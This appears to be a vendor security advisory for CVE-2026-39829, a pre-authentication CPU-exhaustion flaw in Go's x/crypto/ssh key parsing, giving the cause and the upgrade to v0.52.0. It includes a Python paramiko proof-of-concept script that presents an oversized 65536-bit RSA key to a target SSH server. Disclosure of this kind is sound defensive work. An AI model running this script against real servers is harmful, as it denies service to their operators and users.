high · 7.5CVE-2026-39829Jun 25, 2026

CVE-2026-39829: golang.org/x/crypto/ssh RSA/DSA Key Size DoS

Shubham Kandhare
Security Engagement Manager, SecureLayer7

golang.org/x/crypto/ssh < 0.52.0 parses RSA/DSA public keys without size limits, letting unauthenticated clients trigger minutes-long CPU exhaustion.

Packagegolang.org/x/crypto/ssh
Ecosystemgo
Affected< 0.52.0
Fixed in0.52.0
CVE-2026-39829: golang.org/x/crypto/ssh RSA/DSA Key Size DoS

The problem

The ssh package functions parseRSA and parseDSA accepted unbounded key parameters, an RSA modulus of arbitrary bit length or an oversized DSA prime. Because Go's math/big arithmetic time scales super-linearly with operand size, signature verification against such a key consumes several minutes of CPU per attempt.

This is exploitable pre-authentication: any client presenting a crafted public key during SSH userauth triggers the cost on the server.

Proof of concept

python
# Generate a pathological 65536-bit RSA key (>>8192-bit limit) and present it
# during SSH publickey userauth to exhaust server CPU.

import paramiko, socket, threading
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

# Generate an oversized RSA key — 65536-bit modulus (8x the now-enforced limit)
big_key = rsa.generate_private_key(
    public_exponent=65537,
    key_size=65536,          # triggers pathological big.Int math in parseRSA
    backend=default_backend()
)

class ExplodingKey(paramiko.RSAKey):
    """Wraps the oversized key for use in Paramiko auth."""
    def __init__(self):
        self._rsa_key = big_key
    @property
    def key(self):
        return self._rsa_key

transport = paramiko.Transport(("<target>", 22))
transport.connect()
# Server's parseRSA receives a 65536-bit modulus — pre-patch, proceeds to
# signature verification and burns CPU for minutes; post-patch, rejected immediately.
transport.auth_publickey("anyuser", ExplodingKey())

In versions before 0.52.0, parseRSA in ssh/keys.go called ssh.Unmarshal into a struct containing a *big.Int for the modulus N with no bit-length check before returning the key. Downstream callers (NewServerConn, ParseAuthorizedKey, etc.) then invoke RSA signature verification, which performs modular exponentiation whose cost is O(n^2) or worse in the modulus size, a 65536-bit modulus inflates verification time from milliseconds to several minutes.

The patch at go.dev/cl/781641 adds an explicit check rejecting any RSA key whose modulus exceeds 8192 bits, and go.dev/cl/781661 tightens checkDSAParams to enforce the FIPS 186-2 allowed parameter sizes for DSA primes. CWE-1176 (Inefficient CPU Computation) applies rather than a traditional signature-forgery flaw.

The fix

Upgrade golang.org/x/crypto to v0.52.0 or later (`go get golang.org/x/crypto@v0.52.0`). The fix rejects RSA moduli larger than 8192 bits and validates DSA parameters per FIPS 186-2 at parse time, before any expensive arithmetic is attempted.

Reported by NCC Group Cryptography Services, sponsored by Teleport.

References: [1][2][3][4][5][6]